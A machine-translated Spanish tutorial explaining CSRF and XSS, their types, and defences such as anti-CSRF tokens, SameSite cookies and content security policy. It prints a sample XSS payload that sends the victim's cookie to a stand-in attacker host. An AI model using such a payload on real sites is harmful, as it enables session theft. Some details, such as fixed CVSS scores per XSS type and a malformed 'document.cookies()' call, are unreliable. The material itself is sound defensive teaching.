Cross-Site Request Forgery (CSRF) es una vulnerabilidad de seguridad de aplicaciones web en la que un atacante engaña a los usuarios finales para que realicen acciones no deseadas en las que el usuario ha iniciado sesión. CSRF tiene otros nombres como XSRF, sea surf, session riding, cross-site reference falsificación y enlaces hostiles. Con la ayuda de la ingeniería social, un atacante puede engañar a la víctima de una aplicación web para que ejecute acciones maliciosas de su elección.
Si la víctima es un usuario normal, entonces un ataque csrf exitoso puede realizar requests de cambio de estado como transferir dinero, cambiar el correo electrónico, cambiar el número de teléfono móvil, etc. por parte de los usuarios. Si la víctima es el administrador de esa aplicación web, toda la aplicación web puede verse comprometida.
Las secuencias de comandos entre sitios también se conocen como XSS. es una vulnerabilidad muy popular, peligrosa y favorable para la mayoría de los Bug Hunters. XSS es una vulnerabilidad de seguridad web que permite a un atacante comprometer completamente la aplicación web vulnerable. si la víctima tiene muchos privilegios dentro de un sitio vulnerable, el atacante puede obtener el control total de ese sitio.
El objetivo principal de las vulnerabilidades XSS es robar las credenciales de la víctima. Una vulnerabilidad XSS es principalmente una técnica de javascript. Esta vulnerabilidad ocurre porque el desarrollador no prestó atención al filtro de entrada del usuario.
Tipos de XSS:
- XSS reflejado: cada vez que un atacante ejecuta el script malicioso, obtiene inmediatamente una respuesta de la aplicación web. Es una no persistencia. El XSS reflejado tiene una gravedad de P3 con una puntuación CVSS de 5,8, que es Media.
- XSS almacenado: el XSS almacenado se produce correctamente cuando el script malicioso se almacena en la base de datos del sitio web. cada vez que se inicia el script, funciona cada vez que se carga la página web. Entonces, es un XSS persistente. que es más arriesgado en lugar de XSS reflejado. El XSS almacenado tiene una gravedad de P2 con una puntuación CVSS de 7 a 8,9, que es alta.
- DOM XSS: esta vulnerabilidad existe en el código del lado del cliente en lugar del código del lado del servidor. En DOM XSS, la entrada del usuario malicioso va dentro de la fuente y sale del sumidero. El DOM XSS tiene una gravedad de P1 con una puntuación CVSS de 10, que es crítica.
Una carga útil XSS simple se ve así:
<script>alert(document.cookies())</script> <script>document.location.href=” attackers.website/cookie=”>+document.cookie</script>
Prevención de CSRF y XSS:
Tokens Anti-CSRF:
- Use un token que esté asociado con un usuario en particular y se pueda encontrar como un valor oculto en cada formulario de cambio de estado que esté presente en la aplicación web. Este token se denomina token CSRF.
- El token CSRF debe ser:
- Impredecible con alta entropía.
- Vinculado a la sesión del usuario.
- Estrictamente validado en todos los casos antes de ejecutar la acción correspondiente.
Cookies del mismo sitio:
- CSRF ocurre cuando la víctima hace clic en attacker.com y la solicitud va a bank.com, incluida la víctima session_id. Esa es una comunicación entre sitios cuando la solicitud proviene de un sitio de terceros como xyz.com y la solicitud va a abc.com.
- Entonces, ¿qué sucede si no proporcionamos el session_id? Entonces no tienen ninguna posibilidad de autorizar y csrf lo impide. Esa cosa proporciona funciones de cookies del mismo sitio.
- La cookie del mismo sitio es una cookie que solo se enviará si la solicitud proviene o se origina en el mismo sitio. si la solicitud proviene de un sitio de terceros, no adjuntará la cookie.
- Hay tres formas de establecer el mismo atributo de sitio: Ninguno, Laxo y Estricto.
- Ninguno de forma predeterminada, Lax para la barra de navegación de nivel superior u obtener solicitud y Strict está deshabilitado las cookies enviadas a sitios de terceros.
Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; SameSite=Strict; Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; SameSite=Lax;
Técnicas de prevención XSS:
- Filtrar entrada a la llegada
- Codificar datos en la salida
- Use encabezados de respuesta apropiados
- política de seguridad de contenido
- Implementación de WAF
Reducción del riesgo de exposición:
- Nunca abra un correo con un archivo adjunto cuando no reconozca al remitente.
- Nunca abra un archivo adjunto cuando no parezca confiable o usted no lo haya solicitado.
- Siempre cierre sesión con ese sitio web que debe contener datos confidenciales asociados con transacciones de dinero.
- Siempre al día con tu navegador. Nunca use una versión anterior del navegador porque puede estar asociada con una vulnerabilidad que parchea la nueva versión.
- No permita que su navegador guarde sus credenciales e información personal para completar automáticamente el formulario.
- Borre los datos de su navegador y las cookies con regularidad.
- Use extensiones de navegador como no script (tanto para firefox como para chrome) que bloquea la ejecución de javascript para ese sitio que no está en la lista de confianza.
Publicación traducida automáticamente
Artículo escrito por officially2808 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA